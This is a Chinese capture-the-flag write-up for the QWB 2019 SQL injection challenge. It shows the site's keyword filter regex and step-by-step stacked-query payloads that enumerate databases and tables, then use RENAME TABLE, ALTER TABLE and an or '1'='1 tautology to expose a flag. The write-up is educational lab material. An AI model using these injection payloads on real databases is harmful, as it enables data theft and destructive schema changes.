[强网杯 2019]随便注wp

强网杯2019随便注

一看题目就知道这是sql注入,只听过没学过,看来这题只能全程跟着大神的思路走了。

1.打开靶机,随便提交,发现似乎是把 PHP 查询的原始结果之间返回了

2.输入 select 发现了过滤语句,过滤了 select,update,delete,drop,insert,where 和 .

return  preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

测试一下有没有注入。?inject=1’%23,返回正常,字符型注入

过滤了这么多关键词,尝试堆叠注入。?inject=1’;show databases;%23,看到了所有的数据库,没有看到flag字眼
在这里插入图片描述
5.再看一下所有的表。?inject=1’;show tables;%23,1919810931114514 表和 words 表,flag可能在这两个表里面
在这里插入图片描述
6.发现flag 在全数字的表里,默认查询的是 words 表

 ?inject=1';show columns from `1919810931114514`;%23
 ?inject=1';show columns from `words`;%23

数字表中的数据:
在这里插入图片描述

words表里的数据:
在这里插入图片描述

7.既然没过滤 alert 和 rename,那就可以把表和列改名。先把 words 改为 words1(随便改),再把数字表改为 words,然后把新的 words 表里的 flag 列改为 id ,这样就可以直接查询 flag 了

8.构造 payload 如下

/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;%23

9.使用 /?inject=1' or '1'='1 访问一下即可获得 flag

重点知识:

1.MySQL 的 show、rename 和 alter 命令 show 可以用于查看当前数据库,当前表,以及表中的字段 rename 用于修改 table 的名称 alter 用于修改表中字段的属性

2.攻击思路:默认查询 words 表,可以将数字表的名称改成 words,这样就可以 使用 or ‘1’='1 直接查询 flag 了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值